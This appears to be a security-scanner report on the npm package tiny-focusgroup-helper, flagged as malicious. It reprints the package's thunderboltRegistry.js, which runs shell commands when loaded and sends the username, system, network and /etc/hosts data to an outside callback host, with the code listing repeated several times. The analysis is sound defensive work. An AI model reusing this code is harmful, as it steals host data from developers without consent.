Loading npm security reports…

tiny-focusgroup-helper@1.0.0: Malicious npm security report | LPM Firewall

registry / tiny-focusgroup-helper / 1.0.0

tiny-focusgroup-helper@1.0.0

Lightweight helper for managing focus groups in web components

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The distributed registry script automatically collects and exports host information when loaded. The manifest routes registry components to this script.

Static reason

No blocking static signals were detected.

Trigger

Loading thunderboltRegistry.js directly or through a consumer of the registry manifest.

Impact

Disclosure of the current username, system details, network configuration, hosts-file contents, and process metadata when the required runtime capabilities are available.

Mechanism

An immediately invoked function executes shell commands and sends their output through HTTP fetch requests to a fixed callback.

Attack narrative

The package ships a registry manifest that points multiple components to thunderboltRegistry.js. Loading that script immediately attempts shell execution, collects host information, and sends it to an unrelated fixed HTTP callback without a consent gate. Its empty default entrypoint limits ordinary import activation but does not neutralize the executable attack in the registry script.

AI rationale

Inspected source proves automatic host-data collection and transmission when the registry script loads. This concrete exfiltration behavior warrants blocking despite the empty default entrypoint and absence of installation hooks.

Evidence

thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json/etc/hosts

Network endpoints2

dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js

Source & flagged code

6 flagged

thunderboltRegistry.jsView file

Lines 1-58javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

12 var exfil = function(params) {

13 try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {}

14 };

16 var cp = null;

17 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

18 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

19 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

21 if (cp && typeof cp.execSync === "function") {

22 try {

23 var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim();

24 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

25 } catch(e) {}

27 try {

High

Ai Review Evidence

Loading thunderboltRegistry.js automatically executes shell commands and forwards the current username.

thunderboltRegistry.jsView on unpkg · L23

28 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

29 exfil("cmd=uname&out=" + encodeURIComponent(uname));

30 } catch(e) {}

32 try {

33 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

34 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

35 } catch(e) {}

37 try {

38 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

39 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

40 } catch(e) {}

41 }

High

Ai Review Evidence

The script reads /etc/hosts and forwards its contents; it also collects system and network information.

thunderboltRegistry.jsView on unpkg · L38

43 var nv = "no", pl = "no", pid = "0";

44 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

45 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

46})();

48var hosts = [

49 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

50 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

51 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

52];

53var factory = function() {

54 var n = 0;

55 return new Proxy({

56 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

57 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

58 getComponentsLoaders: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry components to the executable collection script.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-14json

2 "name": "tiny-focusgroup-helper",

3 "version": "1.0.0",

4 "description": "Lightweight helper for managing focus groups in web components",

5 "main": "index.js",

index.jsView file

Lines 1-2javascript

1module.exports = {};

High

Ai Review Evidence

index.js exports an empty object, limiting activation through the default entrypoint.

index.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

thunderboltRegistry.jsView file

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var exfil = function(params) { try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {} }; var cp = null; try

High

Ai Review Evidence

thunderboltRegistry.js sends collected data to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

23var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=whoami&out=" + encodeURIComponent(whoami)); } catch(e) {} try {

High

Ai Review Evidence

Loading thunderboltRegistry.js automatically executes shell commands and forwards the current username.

thunderboltRegistry.jsView on unpkg · L23

38var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {}

High

Ai Review Evidence

The script reads /etc/hosts and forwards its contents; it also collects system and network information.

thunderboltRegistry.jsView on unpkg · L38

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js", "siteAssetsReg

High

Ai Review Evidence

registry-manifest.min.json maps registry components to the executable collection script.

registry-manifest.min.jsonView on unpkg · L2

package.jsonView file

5"main": "index.js", "files": [ "registry-manifest.min.json", "thunderboltRegistry.js", "index.js" ], "keyword

High

Ai Review Evidence

package.json distributes the registry manifest and script.

package.jsonView on unpkg · L5

index.jsView file

1module.exports = {};

High

Ai Review Evidence

index.js exports an empty object, limiting activation through the default entrypoint.

index.jsView on unpkg · L1

Source & flagged code

6 flagged

thunderboltRegistry.jsView file

Lines 1-58javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

12 var exfil = function(params) {

13 try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {}

14 };

16 var cp = null;

17 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js sends collected data to a fixed unrelated HTTP callback.

thunderboltRegistry.jsView on unpkg · L11

18 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

19 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

21 if (cp && typeof cp.execSync === "function") {

22 try {

23 var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim();

24 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

25 } catch(e) {}

27 try {

High

Ai Review Evidence

Loading thunderboltRegistry.js automatically executes shell commands and forwards the current username.

thunderboltRegistry.jsView on unpkg · L23

28 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

29 exfil("cmd=uname&out=" + encodeURIComponent(uname));

30 } catch(e) {}

32 try {

33 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

34 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

35 } catch(e) {}

37 try {

38 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

39 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

40 } catch(e) {}

41 }

High

Ai Review Evidence

The script reads /etc/hosts and forwards its contents; it also collects system and network information.

thunderboltRegistry.jsView on unpkg · L38

43 var nv = "no", pl = "no", pid = "0";

44 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

45 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

46})();

48var hosts = [

49 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

50 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

51 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

52];

53var factory = function() {

54 var n = 0;

55 return new Proxy({

56 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

57 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

58 getComponentsLoaders: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry components to the executable collection script.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/tiny-focusgroup-helper@1.0.0/thunderboltRegistry.js"

package.jsonView file

Lines 1-14json

2 "name": "tiny-focusgroup-helper",

3 "version": "1.0.0",

4 "description": "Lightweight helper for managing focus groups in web components",

5 "main": "index.js",

index.jsView file

Lines 1-2javascript

1module.exports = {};

High

Ai Review Evidence

index.js exports an empty object, limiting activation through the default entrypoint.

index.jsView on unpkg · L1

tiny-focusgroup-helper@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code